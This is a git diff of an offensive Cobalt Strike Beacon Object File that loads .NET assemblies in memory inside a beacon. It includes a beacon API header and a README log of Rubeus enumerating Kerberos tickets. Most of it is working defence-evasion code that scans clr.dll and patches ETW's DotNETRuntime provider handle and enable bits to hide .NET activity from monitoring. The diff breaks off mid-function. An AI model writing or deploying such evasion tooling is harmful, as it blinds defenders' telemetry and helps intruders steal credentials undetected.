diff --git a/README.md b/README.md index e186c0a..de49a13 100644 --- a/README.md +++ b/README.md @@ -16,13 +16,13 @@ Load `inlineExecute.cna` from `Cobalt Strike -> Script Manager -> Load`. Ensure ```shell beacon> inlineExecute -[+] Usage: inlineExecute [-etw] [-verbose] +[+] Usage: inlineExecute [-etwH] [-etwB] [-verbose] ``` -The `-etw` flag patches ETW in `clr.dll`. +The `-etwH` and `-etwB` flags patches ETW via the Provider Handle Patching and Subscriber Bit Patching technique respectively. They can be used together or individually. ``` -inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage +inlineExecute -etwH -etwB /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage ``` The `-verbose` flag outputs debugging information. @@ -34,11 +34,62 @@ inlineExecute -verbose -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.e Example usage with `Rubeus.exe triage`. ```shell -[11/29 04:08:35] beacon> inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage -[11/29 04:08:35] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe -[11/29 04:08:35] [+] Arguments: triage -[11/29 04:08:37] [+] host called home, sent: 459528 bytes -[11/29 04:08:37] [+] received output: +[12/02 22:26:17] beacon> inlineExecute -etwB -etwH -verbose /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe triage +[12/02 22:26:17] [+] Executing: /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe +[12/02 22:26:17] [+] Arguments: triage +[12/02 22:26:17] [+] host called home, sent: 461058 bytes +[12/02 22:26:17] [+] received output: +[+] Runtime info obtained + +[12/02 22:26:17] [+] received output: +[+] Runtime is loadable + +[12/02 22:26:17] [+] received output: +[+] ICorRuntimeHost obtained + +[12/02 22:26:17] [+] received output: +[+] CLR started successfully + +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeHandle address: 00007FFEA4140930 + +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeHandle value: 7310c0 + +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeHandle patched: 1 + +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeEnableBits address: 00007FFEA41311C0 + +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeEnableBits value: ffffffff + +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeEnableBits patched: 0 + +[12/02 22:26:17] [+] received output: +[+] clr.dll loaded: 00007FFEA36A0000 + +[12/02 22:26:17] [+] received output: +[+] Anonymous pipe created + +[12/02 22:26:17] [+] received output: +[+] Console created and hidden + +[12/02 22:26:17] [+] received output: +[+] Redirected stdout/stderr to pipe + +[12/02 22:26:17] [+] received output: +[+] AppDomain Created + +[12/02 22:26:17] [+] received output: +[+] Assembly Loaded + +[12/02 22:26:17] [+] received output: +[+] Assembly executed, reading output... + +[12/02 22:26:17] [+] received output: ______ _ @@ -53,7 +104,7 @@ Example usage with `Rubeus.exe triage`. Action: Triage Kerberos Tickets (Current User) -[*] Current LUID : 0x1bc1b +[*] Current LUID : 0x1e563 --------------------------------------- | LUID | UserName | Service | EndTime | @@ -61,7 +112,12 @@ Action: Triage Kerberos Tickets (Current User) --------------------------------------- +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeHandle value restored: 7310c0 -[11/29 04:08:37] [+] received output: +[12/02 22:26:17] [+] received output: +[+] DotNETRuntimeEnableBits value restored: ffffffff + +[12/02 22:26:17] [+] received output: [+] Done ``` \ No newline at end of file diff --git a/inlineExecute/inlineExecute.cna b/inlineExecute/inlineExecute.cna index 08f36c9..0102e00 100644 --- a/inlineExecute/inlineExecute.cna +++ b/inlineExecute/inlineExecute.cna @@ -1,6 +1,6 @@ # inlineExecute.cna -$help = "Usage: inlineExecute [-etw] [-verbose] "; +$help = "Usage: inlineExecute [-etwH] [-etwB] [-verbose] "; beacon_command_register( "inlineExecute", @@ -19,11 +19,15 @@ alias inlineExecute { @args = split(' ', $data); - $patchEtw = false; + $patchEtwProviderHandle = false; + $patchEtwEnableBits = false; $verbose = false; for ($i = 0; $i < size(@args); $i++) { - if (@args[$i] iswm "-etw") { - $patchEtw = true; + if (@args[$i] iswm "-etwH") { + $patchEtwProviderHandle = true; + + } else if (@args[$i] iswm "-etwB") { + $patchEtwEnableBits = true; } else if (@args[$i] iswm "-verbose") { $verbose = true; @@ -61,7 +65,7 @@ alias inlineExecute { return; } - $bof_args = bof_pack($1, "bizii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtw, $verbose); + $bof_args = bof_pack($1, "biziii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $verbose); beacon_inline_execute($1, $bof, "go", $bof_args); } \ No newline at end of file diff --git a/inlineExecute/inlineExecute.o b/inlineExecute/inlineExecute.o index da15b0b..34ece40 100644 Binary files a/inlineExecute/inlineExecute.o and b/inlineExecute/inlineExecute.o differ diff --git a/src/beacon.h b/src/beacon.h new file mode 100644 index 0000000..d35316b --- /dev/null +++ b/src/beacon.h @@ -0,0 +1,396 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs + */ +#ifndef _BEACON_H_ +#define _BEACON_H_ +#include + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; + +#ifdef __cplusplus +} +#endif // __cplusplus +#endif // _BEACON_H_ diff --git a/src/inlineExecute.c b/src/inlineExecute.c index db4995c..ef2188e 100644 --- a/src/inlineExecute.c +++ b/src/inlineExecute.c @@ -31,7 +31,7 @@ typedef struct _CLRContext { ICLRRuntimeInfo* pRuntimeInfo; ICorRuntimeHost* pCorRuntimeHost; IUnknown* pAppDomainThunk; - AppDomain* pDefaultAppDomain; + AppDomain* pSacrifcialAppDomain; Assembly* pAssembly; MethodInfo* pMethodInfo; } CLRContext; @@ -271,13 +271,13 @@ static BOOL createAppDomain(HMODULE kernel32Base, CLRContext* ctx, HANDLE hOrigi _SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle"); HRESULT hr; - hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"placeholder_domain", NULL, &ctx->pAppDomainThunk); + hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"PlaceholderDoman", NULL, &ctx->pAppDomainThunk); if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[-] CreateDomain failed: 0x%08x\n", hr); return FALSE; } - hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pDefaultAppDomain); + hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pSacrifcialAppDomain); if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[-] QueryInterface for AppDomain failed: 0x%08x\n", hr); return FALSE; @@ -320,7 +320,7 @@ static BOOL loadAssembly(HMODULE kernel32Base, unsigned char* assemblyBytes, siz return FALSE; } - hr = ctx->pDefaultAppDomain->lpVtbl->Load_3(ctx->pDefaultAppDomain, pSafeArray, &ctx->pAssembly); + hr = ctx->pSacrifcialAppDomain->lpVtbl->Load_3(ctx->pSacrifcialAppDomain, pSafeArray, &ctx->pAssembly); if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[-] Load_3 failed: 0x%08x\n", hr); OLEAUT32$SafeArrayDestroy(pSafeArray); @@ -434,17 +434,22 @@ static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) { ctx->pAssembly->lpVtbl->Release(ctx->pAssembly); ctx->pAssembly = NULL; } + + // unloads SacrifcialAppDomain + if (ctx->pCorRuntimeHost && ctx->pSacrifcialAppDomain) { + ctx->pCorRuntimeHost->lpVtbl->UnloadDomain(ctx->pCorRuntimeHost, (IUnknown *)(ctx->pSacrifcialAppDomain)); + } - if (ctx->pDefaultAppDomain) { - ctx->pDefaultAppDomain->lpVtbl->Release(ctx->pDefaultAppDomain); - ctx->pDefaultAppDomain = NULL; + if (ctx->pSacrifcialAppDomain) { + ctx->pSacrifcialAppDomain->lpVtbl->Release(ctx->pSacrifcialAppDomain); + ctx->pSacrifcialAppDomain = NULL; } if (ctx->pAppDomainThunk) { ctx->pAppDomainThunk->lpVtbl->Release(ctx->pAppDomainThunk); ctx->pAppDomainThunk = NULL; } - + if (ctx->pCorRuntimeHost) { ctx->pCorRuntimeHost->lpVtbl->Stop(ctx->pCorRuntimeHost); ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost); @@ -460,7 +465,7 @@ static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) { ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); ctx->pClrMetaHost = NULL; } - + _FreeConsole pFreeConsole = (_FreeConsole)getProcAddr(kernel32Base, "FreeConsole"); pFreeConsole(); @@ -534,6 +539,57 @@ int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) { return 1; } +int* findDotNETRuntimeEnableBits() { + void* clrBase = getImageBase(L"clr.dll"); + int clrSize = getImageSize(clrBase); + + // assuming a max of 20 global variables that match the pattern + int MAX = 20; + int* globalVars[20] = { 0 }; + int globalVarCounts[20] = { 0 }; + + for (int i = 0; i < clrSize; i++) { + unsigned char* addr = (unsigned char*)clrBase + i; + + // matching "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h" + if (addr[0] != 0xf7 || addr[1] != 0x5) { + continue; + } + + if (*(DWORD*)(addr + 6) != 0x80000000) { + continue; + } + + // calculating global var address + unsigned char* rip = addr + 10; + int offset = *(DWORD*)(addr + 2); + int* globalVarAddr = (int*)(rip + offset); + + // storing frequency of potential vars that could be Microsoft_Windows_DotNETRuntimeEnableBits + for (int i = 0; i < MAX; i ++) { + if (globalVars[i] == 0) { + globalVars[i] = globalVarAddr; + globalVarCounts[i] = 1; + break; + } + + if (globalVars[i] == globalVarAddr) { + globalVarCounts[i] += 1; + } + } + } + + // return the most frequent var - that would be Microsoft_Windows_DotNETRuntimeEnableBits + int mostFreq = 0; + for (int i = 1; i < MAX; i ++) { + if (globalVarCounts[mostFreq] < globalVarCounts[i]) { + mostFreq = i; + } + } + + return globalVars[mostFreq]; +} + int* findDotNetRuntimeHandle() { void* clrBase = getImageBase(L"clr.dll"); int clrSize = getImageSize(clrBase); @@ -592,15 +648,24 @@ int* findDotNetRuntimeHandle() { return handles[mostFreq]; } -void turnOffEtw(int* handleAddr, int* handleVal) { +void turnOffEtwHandle(int* handleAddr, int* handleVal) { *handleVal = *handleAddr; *handleAddr = 1; } -void turnOnEtw(int* handleAddr, int handleVal) { +void turnOnEtwHandle(int* handleAddr, int handleVal) { *handleAddr = handleVal; } +void turnOffEtwEnableBits(int* enableBitsAddr, int* enableBitsVal) { + *enableBitsVal = *enableBitsAddr; + *enableBitsAddr = 0; +} + +void turnOnEtwEnableBits(int* enableBitsAddr, int enableBitsVal) { + *enableBitsAddr = enableBitsVal; +} + void go(char *args, int len) { // parse arguments datap parser; @@ -608,7 +673,8 @@ void go(char *args, int len) { unsigned char* assemblyBytes = BeaconDataExtract(&parser, NULL); size_t assemblyLength = BeaconDataInt(&parser); char* assemblyArgs = BeaconDataExtract(&parser, NULL); - size_t patchEtw = BeaconDataInt(&parser); + size_t patchEtwHandle = BeaconDataInt(&parser); + size_t patchEtwEnableBits = BeaconDataInt(&parser); size_t verbose = BeaconDataInt(&parser); if (assemblyLength == 0) { @@ -628,18 +694,35 @@ void go(char *args, int len) { return; } - // null handleAddr - int* handleAddr = findDotNetRuntimeHandle(); + // provider handle patching + int* handleAddr; int handleVal; - if (patchEtw) { - turnOffEtw(handleAddr, &handleVal); + if (patchEtwHandle) { + handleAddr = findDotNetRuntimeHandle(); + turnOffEtwHandle(handleAddr, &handleVal); + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %x\n", handleVal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle patched: %x\n", *handleAddr); + } } - if (patchEtw && verbose) { - BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr); - BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %p\n", handleVal); + + int* enableBitsAddr; + int enableBitsVal; + if (patchEtwEnableBits) { + enableBitsAddr = findDotNETRuntimeEnableBits(); + turnOffEtwEnableBits(enableBitsAddr, &enableBitsVal); + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits address: %p\n", enableBitsAddr); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value: %x\n", enableBitsVal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits patched: %x\n", *enableBitsAddr); + } } + if (verbose) { HMODULE clrBase = getImageBase(L"clr.dll"); BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase); @@ -684,11 +767,6 @@ void go(char *args, int len) { return; } - // null handleAddr - if (patchEtw) { - turnOnEtw(handleAddr, handleVal); - } - if (verbose) { BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly executed, reading output...\n"); } @@ -700,12 +778,12 @@ void go(char *args, int len) { DWORD totalBytesRead = 0; char* returnData = readOutput(hReadPipe, &totalBytesRead); + // close read pipe _CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle"); pCloseHandle(hReadPipe); if (totalBytesRead > 0) { 